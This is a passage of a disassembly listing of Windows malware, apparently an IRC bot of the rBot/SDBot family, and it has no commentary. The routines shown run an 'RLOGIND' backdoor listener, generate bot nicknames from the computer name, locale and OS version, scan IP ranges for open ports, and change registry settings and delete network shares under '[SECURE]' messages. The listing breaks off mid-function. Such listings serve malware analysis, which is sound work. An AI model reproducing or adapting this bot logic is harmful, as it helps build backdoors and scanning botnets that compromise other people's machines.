		jnz	loc_40E41E
		push	7FFFFFFFh
		push	[ebp+arg_0]
		call	dword_4335C0	; listen
		test	eax, eax
		jnz	loc_40E41E
		push	offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_401C33
		pop	ecx
		mov	[ebp+var_8], esi
		jmp	loc_40E3FD
; ---------------------------------------------------------------------------


loc_40E338:				; CODE XREF: sub_40E219+1FDj
		push	[ebp+var_8]
		lea	eax, [ebp+var_8]
		push	eax
		push	8
		push	0FFFFh
		push	esi
		call	dword_4334BC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3FD
		push	[ebp+var_50]
		movzx	eax, [ebp+var_32]
		push	eax
		push	[ebp+var_30]
		mov	[ebp+var_3C], ebx
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindClientC ; "[RLOGIND]: Client connection from IP:	%"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401C33
		push	esi
		lea	eax, [ebp+var_418]
		push	7
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+var_50]
		mov	[ebp+var_4C], eax
		imul	eax, 234h
		add	esp, 24h
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		lea	eax, [ebp+var_218]
		push	eax
		push	offset sub_40E00D
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_40E3F8
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		jmp	short loc_40E421
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40E219+1E2j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40E3F8:				; CODE XREF: sub_40E219+1C0j
		cmp	[ebp+var_3C], ebx
		jz	short loc_40E3F0


loc_40E3FD:				; CODE XREF: sub_40E219+11Aj
					; sub_40E219+137j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], edi
		call	dword_433464	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40E338
		jmp	short loc_40E421
; ---------------------------------------------------------------------------


loc_40E41E:				; CODE XREF: sub_40E219+BDj
					; sub_40E219+E3j ...
		mov	esi, [ebp+arg_0]


loc_40E421:				; CODE XREF: sub_40E219+1D5j
					; sub_40E219+203j
		call	dword_433558	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_40], ebx
		jnz	short loc_40E461
		push	ebx
		push	[ebp+var_44]
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+var_218]
		call	sub_4045DD
		add	esp, 14h


loc_40E461:				; CODE XREF: sub_40E219+226j
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401C33
		pop	ecx
		push	esi
		call	dword_4335AC	; closesocket
		push	[ebp+arg_0]
		call	dword_4335AC	; closesocket
		call	dword_4335B8	; WSACleanup
		push	[ebp+var_50]
		call	sub_4111AE
		pop	ecx
		push	ebx


loc_40E48E:				; CODE XREF: sub_40E219+54j
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40E219	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E495	proc near		; CODE XREF: sub_40E7B0+6Cp
					; DATA XREF: .data:off_42B298o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aSoul ;	"[SOUL]"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42AE60, esi
		jle	short loc_40E4EE


loc_40E4C8:				; CODE XREF: sub_40E495+57j
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E4C8


loc_40E4EE:				; CODE XREF: sub_40E495+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40E495	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4F3	proc near		; CODE XREF: sub_4078FA+2C3Bp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		call	sub_412D71
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	esi, edx
		add	esi, dword_42AE60
		test	esi, esi
		jle	short loc_40E536


loc_40E520:				; CODE XREF: sub_40E4F3+41j
		call	sub_412D71
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40E520


loc_40E536:				; CODE XREF: sub_40E4F3+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_40E4F3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		mov	esi, offset aPc	; "PC"
		push	esi
		call	ds:dword_41F0B0	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42AE60, esi
		jle	short loc_40E5A9


loc_40E583:				; CODE XREF: .text:0040E5A7j
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E583


loc_40E5A9:				; CODE XREF: .text:0040E581j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		push	0Ah
		lea	eax, [ebp-0Ch]
		push	eax
		push	7
		push	800h
		call	ds:dword_41F0F4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42AE60, esi
		jle	short loc_40E61E


loc_40E5F8:				; CODE XREF: .text:0040E61Cj
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E5F8


loc_40E61E:				; CODE XREF: .text:0040E5F6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 94h
		push	esi
		push	edi
		lea	eax, [ebp-20h]
		push	eax
		mov	esi, 41FA76h
		mov	dword ptr [ebp-20h], 94h
		call	ds:dword_41F0F8	; GetVersionExA
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		cmp	dword ptr [ebp-1Ch], 4
		pop	ecx
		jnz	short loc_40E692
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40E678
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_40E66B
		mov	esi, offset a95	; "95"


loc_40E66B:				; CODE XREF: .text:0040E664j
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_40E6C2
		mov	esi, offset aNt	; "NT"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E678:				; CODE XREF: .text:0040E65Ej
		cmp	dword ptr [ebp-18h], 0Ah
		jnz	short loc_40E685
		mov	esi, offset a98	; "98"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E685:				; CODE XREF: .text:0040E67Cj
		cmp	dword ptr [ebp-18h], 5Ah
		jnz	short loc_40E6BD
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E692:				; CODE XREF: .text:0040E658j
		cmp	dword ptr [ebp-1Ch], 5
		jnz	short loc_40E6BD
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40E6A5
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E6A5:				; CODE XREF: .text:0040E69Cj
		cmp	dword ptr [ebp-18h], 1
		jnz	short loc_40E6B2
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40E6C2
; ---------------------------------------------------------------------------


loc_40E6B2:				; CODE XREF: .text:0040E6A9j
		cmp	dword ptr [ebp-18h], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40E6C2


loc_40E6BD:				; CODE XREF: .text:0040E689j
					; .text:0040E696j
		mov	esi, offset a??? ; "???"


loc_40E6C2:				; CODE XREF: .text:0040E66Fj
					; .text:0040E676j ...
		mov	edi, [ebp+7Ch]
		push	esi
		push	offset aS_5	; "[%s]"
		push	1Ch
		push	edi
		call	sub_412E0D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42AE60, esi
		jle	short loc_40E706


loc_40E6E0:				; CODE XREF: .text:0040E704j
		call	sub_412D71
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_412E0D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42AE60
		jl	short loc_40E6E0


loc_40E706:				; CODE XREF: .text:0040E6DEj
		mov	eax, edi
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E70F	proc near		; CODE XREF: sub_40E7B0+80p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41F004	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_4334F8	; FindWindowA
		test	esi, esi
		jbe	short loc_40E75D
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40E746
		mov	eax, 41FA76h


loc_40E746:				; CODE XREF: sub_40E70F+30j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	short loc_40E777
; ---------------------------------------------------------------------------


loc_40E75D:				; CODE XREF: sub_40E70F+27j
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_40E76B
		mov	eax, 41FA76h


loc_40E76B:				; CODE XREF: sub_40E70F+55j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40E777:				; CODE XREF: sub_40E70F+4Cj
		lea	eax, [ebp+var_1C]
		lea	edx, [eax+1]
		pop	esi


loc_40E77E:				; CODE XREF: sub_40E70F+74j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40E77E
		sub	eax, edx
		cmp	eax, 2
		jbe	short loc_40E7AB
		push	1Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412A80
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_412C40
		add	esp, 18h


loc_40E7AB:				; CODE XREF: sub_40E70F+7Bj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40E70F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7B0	proc near		; CODE XREF: sub_40751F+53p
					; sub_40779B+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		xor	edi, edi


loc_40E7BA:				; CODE XREF: sub_40E7B0+62j
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_40E7F9
		lea	eax, dword_42B288[edi]


loc_40E7C7:				; CODE XREF: sub_40E7B0+33j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_40E7E9
		test	cl, cl
		jz	short loc_40E7E5
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_40E7E9
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_40E7C7


loc_40E7E5:				; CODE XREF: sub_40E7B0+21j
		xor	eax, eax
		jmp	short loc_40E7EE
; ---------------------------------------------------------------------------


loc_40E7E9:				; CODE XREF: sub_40E7B0+1Dj
					; sub_40E7B0+2Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40E7EE:				; CODE XREF: sub_40E7B0+37j
		xor	ecx, ecx
		test	eax, eax
		setz	cl
		mov	eax, ecx
		jmp	short loc_40E807
; ---------------------------------------------------------------------------


loc_40E7F9:				; CODE XREF: sub_40E7B0+Fj
		mov	ecx, dword_42B294[edi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40E807:				; CODE XREF: sub_40E7B0+47j
		test	eax, eax
		jnz	short loc_40E816
		add	edi, 14h
		inc	edx
		cmp	edi, 64h
		jb	short loc_40E7BA
		jmp	short loc_40E824
; ---------------------------------------------------------------------------


loc_40E816:				; CODE XREF: sub_40E7B0+59j
		push	[ebp+arg_0]
		lea	eax, [edx+edx*4]
		call	off_42B298[eax*4]
		pop	ecx


loc_40E824:				; CODE XREF: sub_40E7B0+64j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_40E838
		push	[ebp+arg_0]
		call	sub_40E70F
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E838:				; CODE XREF: sub_40E7B0+7Bj
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40E7B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40E83D	proc near		; DATA XREF: sub_40E8FF+77o

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0B8h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		push	2Ah
		pop	ecx
		lea	edi, [ebp+74h+var_B8]
		rep movsd
		push	[ebp+74h+var_34]
		xor	esi, esi
		inc	esi
		mov	[eax+0A4h], esi
		xor	eax, eax
		lea	edi, [ebp+74h+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_10], 2
		call	dword_4335EC	; ntohs
		push	6
		mov	[ebp+74h+var_E], ax
		mov	eax, [ebp+74h+var_28]
		push	esi
		push	2
		mov	[ebp+74h+var_C], eax
		call	dword_4334A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E8ED
		push	10h
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	esi
		call	dword_433458	; connect
		mov	ecx, [ebp+74h+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_434344[ecx], esi
		jz	short loc_40E8ED
		push	[ebp+74h+var_34]
		push	[ebp+74h+var_28]
		call	dword_433520	; inet_ntoa
		push	eax
		push	offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open."
		mov	edi, offset dword_479C18
		push	edi
		call	sub_412BB5
		push	0
		push	[ebp+74h+var_20]
		lea	eax, [ebp+74h+var_B4]
		push	edi
		push	eax
		push	[ebp+74h+var_B8]
		call	sub_4045DD
		push	edi
		call	sub_401C33
		add	esp, 28h


loc_40E8ED:				; CODE XREF: sub_40E83D+55j
					; sub_40E83D+76j
		push	esi
		call	dword_4335AC	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		add	ebp, 74h
		leave
		retn	4
sub_40E83D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_40E8FF	proc near		; DATA XREF: sub_4078FA+25BAo

var_12C		= byte ptr -12Ch
var_AC		= byte ptr -0ACh
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 12Ch
		push	ebx
		mov	ebx, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, ebx
		lea	edi, [ebp+74h+var_AC]
		rep movsd
		mov	esi, ds:dword_41F000
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40E92C:				; CODE XREF: sub_40E8FF+C1j
		push	[ebp+74h+var_28]
		push	[ebp+74h+var_1C]
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_12C]
		push	offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d."
		push	eax
		call	sub_412BB5
		push	1FFh
		lea	eax, [ebp+74h+var_12C]
		push	eax
		mov	eax, [ebp+74h+var_20]
		imul	eax, 234h
		add	eax, offset dword_434138
		push	eax
		call	sub_412C40
		add	esp, 1Ch
		lea	eax, [ebp+74h+var_4]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_AC]
		push	eax
		push	offset sub_40E83D
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		cmp	eax, edi
		mov	[ebp+74h+arg_0], eax
		jz	short loc_40E995
		jmp	short loc_40E990
; ---------------------------------------------------------------------------


loc_40E98C:				; CODE XREF: sub_40E8FF+94j
		push	32h
		call	esi	; Sleep


loc_40E990:				; CODE XREF: sub_40E8FF+8Bj
		cmp	[ebp+74h+var_8], edi
		jz	short loc_40E98C


loc_40E995:				; CODE XREF: sub_40E8FF+89j
		push	[ebp+74h+arg_0]
		call	ds:dword_41F034	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		push	[ebp+74h+var_1C]
		call	dword_433570	; ntohl
		inc	eax
		push	eax
		call	dword_4335C4	; ntohl
		mov	[ebp+74h+var_1C], eax
		jmp	loc_40E92C
sub_40E8FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C5	proc near		; CODE XREF: sub_40F005+8p
					; sub_40F023+37p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_433600, edi
		jnz	loc_40EAF8
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		mov	esi, 80000002h
		push	esi
		call	dword_4335C8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40EA51
		lea	eax, [ebp+var_8+2]
		mov	word ptr [ebp+var_8+2],	4Eh
		lea	edx, [eax+1]


loc_40EA09:				; CODE XREF: sub_40E9C5+49j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40EA09
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_433484	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_40EA39
		push	offset aSecureDisableD ; "[SECURE]: Disable DCOM failed."
		jmp	short loc_40EA3E
; ---------------------------------------------------------------------------


loc_40EA39:				; CODE XREF: sub_40E9C5+6Bj
		push	offset aSecureDcomDisa ; "[SECURE]: DCOM disabled."


loc_40EA3E:				; CODE XREF: sub_40E9C5+72j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C	; RegCloseKey
		jmp	short loc_40EA64
; ---------------------------------------------------------------------------


loc_40EA51:				; CODE XREF: sub_40E9C5+36j
		lea	eax, [ebp+var_214]
		push	offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM	registry "...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EA64:				; CODE XREF: sub_40E9C5+8Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40EA83
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EA83:				; CODE XREF: sub_40E9C5+A2j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4335C8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40EAF1
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_433484	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_40EAD9
		push	offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "...
		jmp	short loc_40EADE
; ---------------------------------------------------------------------------


loc_40EAD9:				; CODE XREF: sub_40E9C5+10Bj
		push	offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"...


loc_40EADE:				; CODE XREF: sub_40E9C5+112j
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43357C	; RegCloseKey
		jmp	short loc_40EB0B
; ---------------------------------------------------------------------------


loc_40EAF1:				; CODE XREF: sub_40E9C5+E3j
		push	offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$	Restricti"...
		jmp	short loc_40EAFD
; ---------------------------------------------------------------------------


loc_40EAF8:				; CODE XREF: sub_40E9C5+13j
		push	offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"...


loc_40EAFD:				; CODE XREF: sub_40E9C5+131j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40EB0B:				; CODE XREF: sub_40E9C5+12Aj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40EB2A
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EB2A:				; CODE XREF: sub_40E9C5+149j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		cmp	dword_433628, edi
		pop	ecx
		jnz	loc_40ECA7
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi
		push	ebx


loc_40EB4D:				; CODE XREF: sub_40E9C5+2C6j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	edi
		call	dword_4335A0
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_40EBEC
		cmp	eax, 0EAh
		jz	short loc_40EBEC
		xor	esi, esi


loc_40EB7B:				; CODE XREF: sub_40E9C5+220j
		push	off_42B2F0[esi]
		push	edi
		call	sub_406032
		pop	ecx
		pop	ecx
		push	off_42B2F0[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_40EBA0
		push	offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted."
		jmp	short loc_40EBA5
; ---------------------------------------------------------------------------


loc_40EBA0:				; CODE XREF: sub_40E9C5+1D2j
		push	offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share."


loc_40EBA5:				; CODE XREF: sub_40E9C5+1D9j
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_40EBD2
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EBD2:				; CODE XREF: sub_40E9C5+1F1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		add	esi, 8
		cmp	esi, 20h
		pop	ecx
		jb	short loc_40EB7B
		jmp	loc_40EC84
; ---------------------------------------------------------------------------


loc_40EBEC:				; CODE XREF: sub_40E9C5+1ABj
					; sub_40E9C5+1B2j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_40EC7B


loc_40EBFB:				; CODE XREF: sub_40E9C5+2B2j
		mov	edi, [esi]
		push	edi
		call	sub_413FEE
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_40EC70
		push	edi
		call	sub_405F46
		push	eax
		push	0
		call	sub_406032
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_40EC30
		push	offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted."
		jmp	short loc_40EC35
; ---------------------------------------------------------------------------


loc_40EC30:				; CODE XREF: sub_40E9C5+262j
		push	offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share."


loc_40EC35:				; CODE XREF: sub_40E9C5+269j
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40EC63
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40EC63:				; CODE XREF: sub_40E9C5+282j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		pop	ecx


loc_40EC70:				; CODE XREF: sub_40E9C5+245j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_40EBFB
		xor	edi, edi


loc_40EC7B:				; CODE XREF: sub_40E9C5+230j
		push	[ebp+var_8]
		call	dword_4334D8


loc_40EC84:				; CODE XREF: sub_40E9C5+222j
		cmp	[ebp+var_10], 0EAh
		jz	loc_40EB4D
		lea	eax, [ebp+var_214]
		push	offset aSecureNetworkS ; "[SECURE]: Network shares deleted."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_40ECBA
; ---------------------------------------------------------------------------


loc_40ECA7:				; CODE XREF: sub_40E9C5+178j
		lea	eax, [ebp+var_214]
		push	offset aSecureNetapi32 ; "[SECURE]: Netapi32.dll couldn't be load"...
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_40ECBA:				; CODE XREF: sub_40E9C5+2E0j
		cmp	[ebp+arg_C], edi
		jnz	short loc_40ECD8
		push	edi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_40ECD8:				; CODE XREF: sub_40E9C5+2F8j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_401C33
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_40E9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEC	proc near		; CODE XREF: sub_40F023:loc_40F061p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_433600, ebx
		push	esi
		jnz	loc_40EE1B
		lea	eax, [ebp+var_4]
		push	eax
